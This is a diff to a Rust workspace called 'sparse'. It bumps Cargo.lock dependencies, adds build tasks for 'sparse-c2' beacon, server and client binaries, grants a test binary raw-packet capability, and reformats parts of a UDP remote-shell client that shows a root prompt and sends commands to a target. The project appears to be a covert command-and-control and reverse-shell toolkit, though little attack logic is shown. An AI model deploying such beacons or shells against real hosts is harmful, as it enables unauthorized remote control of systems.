checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"backtrace",
|
"backtrace",
|
||||||
"bytes",
|
"bytes",
|
||||||
"libc",
|
"libc",
|
||||||
"mio",
|
"mio",
|
||||||
"num_cpus",
|
"num_cpus",
|
||||||
|
"parking_lot",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
"signal-hook-registry",
|
"signal-hook-registry",
|
||||||
"socket2",
|
"socket2",
|
||||||
"tokio-macros",
|
"tokio-macros",
|
||||||
"windows-sys 0.48.0",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tokio-macros"
|
name = "tokio-macros"
|
||||||
version = "2.1.0"
|
version = "2.2.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e"
|
checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2 1.0.66",
|
"proc-macro2 1.0.66",
|
||||||
"quote 1.0.33",
|
"quote 1.0.33",
|
||||||
@ -1315,6 +1597,20 @@ dependencies = [
|
|||||||
"futures-core",
|
"futures-core",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
"tokio",
|
"tokio",
|
||||||
|
"tokio-util",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tokio-util"
|
||||||
|
version = "0.7.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d"
|
||||||
|
dependencies = [
|
||||||
|
"bytes",
|
||||||
|
"futures-core",
|
||||||
|
"futures-sink",
|
||||||
|
"pin-project-lite",
|
||||||
|
"tokio",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1357,6 +1653,12 @@ dependencies = [
|
|||||||
"subtle",
|
"subtle",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "value-bag"
|
||||||
|
version = "1.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4a72e1902dde2bd6441347de2b70b7f5d59bf157c6c62f0c44572607a1d55bbe"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "vec_map"
|
name = "vec_map"
|
||||||
version = "0.8.2"
|
version = "0.8.2"
|
||||||
@ -1381,6 +1683,60 @@ version = "0.11.0+wasi-snapshot-preview1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
|
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen"
|
||||||
|
version = "0.2.89"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"wasm-bindgen-macro",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-backend"
|
||||||
|
version = "0.2.89"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826"
|
||||||
|
dependencies = [
|
||||||
|
"bumpalo",
|
||||||
|
"log",
|
||||||
|
"once_cell",
|
||||||
|
"proc-macro2 1.0.66",
|
||||||
|
"quote 1.0.33",
|
||||||
|
"syn 2.0.29",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro"
|
||||||
|
version = "0.2.89"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2"
|
||||||
|
dependencies = [
|
||||||
|
"quote 1.0.33",
|
||||||
|
"wasm-bindgen-macro-support",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro-support"
|
||||||
|
version = "0.2.89"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2 1.0.66",
|
||||||
|
"quote 1.0.33",
|
||||||
|
"syn 2.0.29",
|
||||||
|
"wasm-bindgen-backend",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-shared"
|
||||||
|
version = "0.2.89"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "winapi"
|
name = "winapi"
|
||||||
version = "0.3.9"
|
version = "0.3.9"
|
||||||
@ -1404,27 +1760,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-sys"
|
name = "windows-core"
|
||||||
version = "0.42.0"
|
version = "0.50.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
|
checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows_aarch64_gnullvm 0.42.2",
|
"windows-targets",
|
||||||
"windows_aarch64_msvc 0.42.2",
|
|
||||||
"windows_i686_gnu 0.42.2",
|
|
||||||
"windows_i686_msvc 0.42.2",
|
|
||||||
"windows_x86_64_gnu 0.42.2",
|
|
||||||
"windows_x86_64_gnullvm 0.42.2",
|
|
||||||
"windows_x86_64_msvc 0.42.2",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows-sys"
|
|
||||||
version = "0.45.0"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
|
|
||||||
dependencies = [
|
|
||||||
"windows-targets 0.42.2",
|
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1433,22 +1774,7 @@ version = "0.48.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
|
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows-targets 0.48.0",
|
"windows-targets",
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows-targets"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
|
|
||||||
dependencies = [
|
|
||||||
"windows_aarch64_gnullvm 0.42.2",
|
|
||||||
"windows_aarch64_msvc 0.42.2",
|
|
||||||
"windows_i686_gnu 0.42.2",
|
|
||||||
"windows_i686_msvc 0.42.2",
|
|
||||||
"windows_x86_64_gnu 0.42.2",
|
|
||||||
"windows_x86_64_gnullvm 0.42.2",
|
|
||||||
"windows_x86_64_msvc 0.42.2",
|
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1457,93 +1783,51 @@ version = "0.48.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5"
|
checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows_aarch64_gnullvm 0.48.0",
|
"windows_aarch64_gnullvm",
|
||||||
"windows_aarch64_msvc 0.48.0",
|
"windows_aarch64_msvc",
|
||||||
"windows_i686_gnu 0.48.0",
|
"windows_i686_gnu",
|
||||||
"windows_i686_msvc 0.48.0",
|
"windows_i686_msvc",
|
||||||
"windows_x86_64_gnu 0.48.0",
|
"windows_x86_64_gnu",
|
||||||
"windows_x86_64_gnullvm 0.48.0",
|
"windows_x86_64_gnullvm",
|
||||||
"windows_x86_64_msvc 0.48.0",
|
"windows_x86_64_msvc",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_aarch64_gnullvm"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_gnullvm"
|
name = "windows_aarch64_gnullvm"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
|
checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_aarch64_msvc"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_msvc"
|
name = "windows_aarch64_msvc"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
|
checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_i686_gnu"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_gnu"
|
name = "windows_i686_gnu"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
|
checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_i686_msvc"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_msvc"
|
name = "windows_i686_msvc"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
|
checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_x86_64_gnu"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnu"
|
name = "windows_x86_64_gnu"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
|
checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_x86_64_gnullvm"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnullvm"
|
name = "windows_x86_64_gnullvm"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
|
checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "windows_x86_64_msvc"
|
|
||||||
version = "0.42.2"
|
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
||||||
checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_msvc"
|
name = "windows_x86_64_msvc"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
|
|||||||
@ -5,6 +5,8 @@ members = [
|
|||||||
"examples/*/*",
|
"examples/*/*",
|
||||||
"sparse-protocol",
|
"sparse-protocol",
|
||||||
"sparse-05/*",
|
"sparse-05/*",
|
||||||
|
"sparse-c2/*",
|
||||||
|
"tcp-test/client"
|
||||||
]
|
]
|
||||||
resolver = "2"
|
resolver = "2"
|
||||||
|
|
||||||
|
|||||||
@ -27,6 +27,28 @@ script = [
|
|||||||
"docker-compose run build build --bin sparse-05-client ${@}",
|
"docker-compose run build build --bin sparse-05-client ${@}",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[tasks.tcp-test]
|
||||||
|
workspace = false
|
||||||
|
script = [
|
||||||
|
"docker-compose run build build --bin tcp-test ${@}",
|
||||||
|
"docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test"
|
||||||
|
]
|
||||||
|
|
||||||
|
[tasks.sparse-c2]
|
||||||
|
workspace = false
|
||||||
|
script = [
|
||||||
|
"docker-compose run build build --bin sparse-c2-beacon ${@}",
|
||||||
|
"docker-compose run build build --bin sparse-c2-server ${@}",
|
||||||
|
"docker-compose run build build --bin sparse-c2-client ${@}",
|
||||||
|
]
|
||||||
|
|
||||||
|
[tasks.run-tcp-test]
|
||||||
|
workspace = false
|
||||||
|
dependencies = ["tcp-test"]
|
||||||
|
script = [
|
||||||
|
"docker-compose run tcptest_client /workspaces/sparse/target/debug/tcp-test $(/sbin/ip a show docker0 | awk -F'[ \t/]*' '/inet / { print $3 }')"
|
||||||
|
]
|
||||||
|
|
||||||
[tasks.fmt]
|
[tasks.fmt]
|
||||||
command = "cargo"
|
command = "cargo"
|
||||||
args = ["fmt"]
|
args = ["fmt"]
|
||||||
@ -68,6 +90,13 @@ command = "convco"
|
|||||||
args = ["commit", "-i"]
|
args = ["commit", "-i"]
|
||||||
dependencies = ["git-pre-commit", "git-add"]
|
dependencies = ["git-pre-commit", "git-add"]
|
||||||
|
|
||||||
|
[tasks.git-share-root]
|
||||||
|
workspace = false
|
||||||
|
script = [
|
||||||
|
"git config --global --add safe.directory /workspaces/sparse/nl-sys/libnl",
|
||||||
|
"git config --global --add safe.directory /workspaces/sparse/pcap-sys/libpcap",
|
||||||
|
]
|
||||||
|
|
||||||
#---------------------------------
|
#---------------------------------
|
||||||
#
|
#
|
||||||
# Project setup tasks
|
# Project setup tasks
|
||||||
@ -76,7 +105,7 @@ dependencies = ["git-pre-commit", "git-add"]
|
|||||||
|
|
||||||
[tasks.setup]
|
[tasks.setup]
|
||||||
workspace = false
|
workspace = false
|
||||||
dependencies = ["setup-pull-rust-image", "setup-update-submodules"]
|
dependencies = ["git-share-root", "setup-pull-rust-image", "setup-update-submodules"]
|
||||||
|
|
||||||
[tasks.setup-pull-rust-image]
|
[tasks.setup-pull-rust-image]
|
||||||
workspace = false
|
workspace = false
|
||||||
|
|||||||
@ -44,3 +44,9 @@ services:
|
|||||||
expose:
|
expose:
|
||||||
- "54248/udp"
|
- "54248/udp"
|
||||||
command: /workspaces/sparse/target/debug/ex-revshell-server
|
command: /workspaces/sparse/target/debug/ex-revshell-server
|
||||||
|
|
||||||
|
tcptest_client:
|
||||||
|
image: alpine
|
||||||
|
volumes:
|
||||||
|
- ./target:/workspaces/sparse/target
|
||||||
|
command: /workspaces/sparse/target/debug/tcp-target
|
||||||
|
|||||||
@ -138,8 +138,12 @@ async fn handle_command(
|
|||||||
) -> anyhow::Result<()> {
|
) -> anyhow::Result<()> {
|
||||||
use pcap_sys::packets::*;
|
use pcap_sys::packets::*;
|
||||||
let eth_pkt = eth.pkt();
|
let eth_pkt = eth.pkt();
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else {
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
return Ok(());
|
||||||
|
};
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
|
||||||
|
todo!()
|
||||||
|
};
|
||||||
|
|
||||||
let source_port = udp_pkt.srcport();
|
let source_port = udp_pkt.srcport();
|
||||||
|
|
||||||
|
|||||||
@ -1,4 +1,9 @@
|
|||||||
use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
|
use std::{
|
||||||
|
io::prelude::*,
|
||||||
|
net::UdpSocket,
|
||||||
|
sync::{Arc, Condvar, Mutex},
|
||||||
|
thread,
|
||||||
|
};
|
||||||
|
|
||||||
use anyhow::{anyhow, Context};
|
use anyhow::{anyhow, Context};
|
||||||
use ed25519_dalek::{Keypair, Signer};
|
use ed25519_dalek::{Keypair, Signer};
|
||||||
@ -17,7 +22,7 @@ impl Msg<'_> {
|
|||||||
0 => Some(Msg::Ready(bytes[1])),
|
0 => Some(Msg::Ready(bytes[1])),
|
||||||
1 => Some(Msg::Stdout(&bytes[1..])),
|
1 => Some(Msg::Stdout(&bytes[1..])),
|
||||||
2 => Some(Msg::Stderr(&bytes[1..])),
|
2 => Some(Msg::Stderr(&bytes[1..])),
|
||||||
_ => None
|
_ => None,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -47,8 +52,12 @@ fn main() -> anyhow::Result<()> {
|
|||||||
let mut buffer = [0u8; 1536];
|
let mut buffer = [0u8; 1536];
|
||||||
|
|
||||||
loop {
|
loop {
|
||||||
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
|
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else {
|
||||||
let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
|
continue;
|
||||||
|
};
|
||||||
|
let Some(msg) = Msg::parse(&buffer[..amount]) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
match msg {
|
match msg {
|
||||||
Msg::Ready(_) => {
|
Msg::Ready(_) => {
|
||||||
@ -59,12 +68,14 @@ fn main() -> anyhow::Result<()> {
|
|||||||
};
|
};
|
||||||
*inuse = false;
|
*inuse = false;
|
||||||
cvar.notify_one();
|
cvar.notify_one();
|
||||||
},
|
}
|
||||||
Msg::Stderr(err) => {
|
Msg::Stderr(err) => {
|
||||||
let _ = stderr.write(err);
|
let _ = stderr.write(err);
|
||||||
},
|
}
|
||||||
Msg::Stdout(out) => {
|
Msg::Stdout(out) => {
|
||||||
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
let Ok(mut stdout) = stdout_arc.lock() else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
let _ = stdout.write(out);
|
let _ = stdout.write(out);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -92,13 +103,19 @@ fn main() -> anyhow::Result<()> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
{
|
{
|
||||||
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
let Ok(mut stdout) = stdout_arc.lock() else {
|
||||||
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
|
continue;
|
||||||
|
};
|
||||||
|
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
let _ = stdout.flush();
|
let _ = stdout.flush();
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut cmd = String::new();
|
let mut cmd = String::new();
|
||||||
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
|
let Ok(amount) = stdin.read_line(&mut cmd) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
let mut cmd = cmd.trim();
|
let mut cmd = cmd.trim();
|
||||||
|
|
||||||
if amount == 0 {
|
if amount == 0 {
|
||||||
@ -113,8 +130,10 @@ fn main() -> anyhow::Result<()> {
|
|||||||
};
|
};
|
||||||
|
|
||||||
match cmd.split(" ").collect::<Vec<_>>()[..] {
|
match cmd.split(" ").collect::<Vec<_>>()[..] {
|
||||||
["exit"] => { break },
|
["exit"] => break,
|
||||||
["cd", dir] => { cwd = dir.to_owned(); },
|
["cd", dir] => {
|
||||||
|
cwd = dir.to_owned();
|
||||||
|
}
|
||||||
_ => {
|
_ => {
|
||||||
let (lock, _) = &*stdout_inuse;
|
let (lock, _) = &*stdout_inuse;
|
||||||
let Ok(mut inuse) = lock.lock() else {
|
let Ok(mut inuse) = lock.lock() else {
|
||||||
|
|||||||
@ -9,9 +9,13 @@ use pcap_sys::packets::*;
|
|||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() -> anyhow::Result<()> {
|
async fn main() -> anyhow::Result<()> {
|
||||||
let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::<Ipv4Addr>()?;
|
let target = std::env::args()
|
||||||
|
.skip(1)
|
||||||
|
.next()
|
||||||
|
.ok_or(anyhow!("could not get target IP"))?
|
||||||
|
.parse::<Ipv4Addr>()?;
|
||||||
|
|
||||||
let (ifname, src_mac, dst_mac, srcip) = {
|
let (ifname, _, srcip, src_mac, dst_mac, _) = {
|
||||||
let socket = netlink::Socket::new()?;
|
let socket = netlink::Socket::new()?;
|
||||||
|
|
||||||
let routes = socket.get_routes()?;
|
let routes = socket.get_routes()?;
|
||||||
@ -19,11 +23,8 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
let links = socket.get_links()?;
|
let links = socket.get_links()?;
|
||||||
let addrs = socket.get_addrs()?;
|
let addrs = socket.get_addrs()?;
|
||||||
|
|
||||||
let (ifname, srcip, srcmac, dstmac) =
|
|
||||||
route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
|
route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target)
|
||||||
.ok_or(anyhow!("unable to find a route to the IP"))?;
|
.ok_or(anyhow!("unable to find a route to the IP"))?
|
||||||
|
|
||||||
(ifname, srcmac, dstmac, srcip)
|
|
||||||
};
|
};
|
||||||
|
|
||||||
let mut interface = pcap_sys::new_aggregate_interface(false)?;
|
let mut interface = pcap_sys::new_aggregate_interface(false)?;
|
||||||
@ -56,12 +57,18 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
match evt {
|
match evt {
|
||||||
EventType::Packet((_, Ok(pkt))) => {
|
EventType::Packet((_, Ok(pkt))) => {
|
||||||
let eth_pkt = pkt.pkt();
|
let eth_pkt = pkt.pkt();
|
||||||
let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { continue; };
|
let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else {
|
||||||
let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { continue; };
|
continue;
|
||||||
|
};
|
||||||
|
let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
let data = udp_pkt.get_data();
|
let data = udp_pkt.get_data();
|
||||||
|
|
||||||
let Ok(resp_id) = TryInto::<[u8;4]>::try_into(&data[..4]) else { continue; };
|
let Ok(resp_id) = TryInto::<[u8; 4]>::try_into(&data[..4]) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
let resp_id = i32::from_be_bytes(resp_id);
|
let resp_id = i32::from_be_bytes(resp_id);
|
||||||
|
|
||||||
if sent_updates.contains_key(&resp_id) {
|
if sent_updates.contains_key(&resp_id) {
|
||||||
|
|||||||
@ -6,7 +6,9 @@ fn main() -> anyhow::Result<()> {
|
|||||||
loop {
|
loop {
|
||||||
let mut buf = [0u8; 4];
|
let mut buf = [0u8; 4];
|
||||||
|
|
||||||
let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { continue; };
|
let Ok((amount, src)) = input.recv_from(&mut buf[..]) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
if amount != 4 {
|
if amount != 4 {
|
||||||
continue;
|
continue;
|
||||||
@ -14,6 +16,8 @@ fn main() -> anyhow::Result<()> {
|
|||||||
|
|
||||||
println!("Received packet: {}", i32::from_be_bytes(buf));
|
println!("Received packet: {}", i32::from_be_bytes(buf));
|
||||||
|
|
||||||
let Ok(_) = input.send_to(&buf, src) else { continue; };
|
let Ok(_) = input.send_to(&buf, src) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -146,7 +146,7 @@ pub fn get_macs_and_src_for_ip(
|
|||||||
neighs: &Cache<Neigh>,
|
neighs: &Cache<Neigh>,
|
||||||
links: &Cache<Link>,
|
links: &Cache<Link>,
|
||||||
addr: Ipv4Addr,
|
addr: Ipv4Addr,
|
||||||
) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> {
|
) -> Option<(String, i32, Ipv4Addr, [u8; 6], [u8; 6], u8)> {
|
||||||
let mut sorted_routes = routes.iter().collect::<Vec<_>>();
|
let mut sorted_routes = routes.iter().collect::<Vec<_>>();
|
||||||
|
|
||||||
sorted_routes.sort_by(|r1, r2| {
|
sorted_routes.sort_by(|r1, r2| {
|
||||||
@ -170,7 +170,9 @@ pub fn get_macs_and_src_for_ip(
|
|||||||
0
|
0
|
||||||
};
|
};
|
||||||
|
|
||||||
let Ok(dst_addr): Result<Ipv4Addr, _> = (&dst).try_into() else { return false };
|
let Ok(dst_addr): Result<Ipv4Addr, _> = (&dst).try_into() else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
let dst_addr: u32 = dst_addr.into();
|
let dst_addr: u32 = dst_addr.into();
|
||||||
|
|
||||||
(mask & dst_addr) == (mask & ip_int)
|
(mask & dst_addr) == (mask & ip_int)
|
||||||
@ -180,8 +182,14 @@ pub fn get_macs_and_src_for_ip(
|
|||||||
|
|
||||||
#[cfg(debug_assertions)]
|
#[cfg(debug_assertions)]
|
||||||
{
|
{
|
||||||
|
println!("Link index: {link_ind}\n");
|
||||||
for link in links.iter() {
|
for link in links.iter() {
|
||||||
println!("Link {}: {:?} ({})", link.name(), link.addr(), link.ifindex());
|
println!(
|
||||||
|
"Link {}: {:?} ({})",
|
||||||
|
link.name(),
|
||||||
|
link.addr(),
|
||||||
|
link.ifindex()
|
||||||
|
);
|
||||||
|
|
||||||
println!("\tAddrs:");
|
println!("\tAddrs:");
|
||||||
for addr in addrs.iter().filter(|addr| addr.ifindex() == link.ifindex()) {
|
for addr in addrs.iter().filter(|addr| addr.ifindex() == link.ifindex()) {
|
||||||
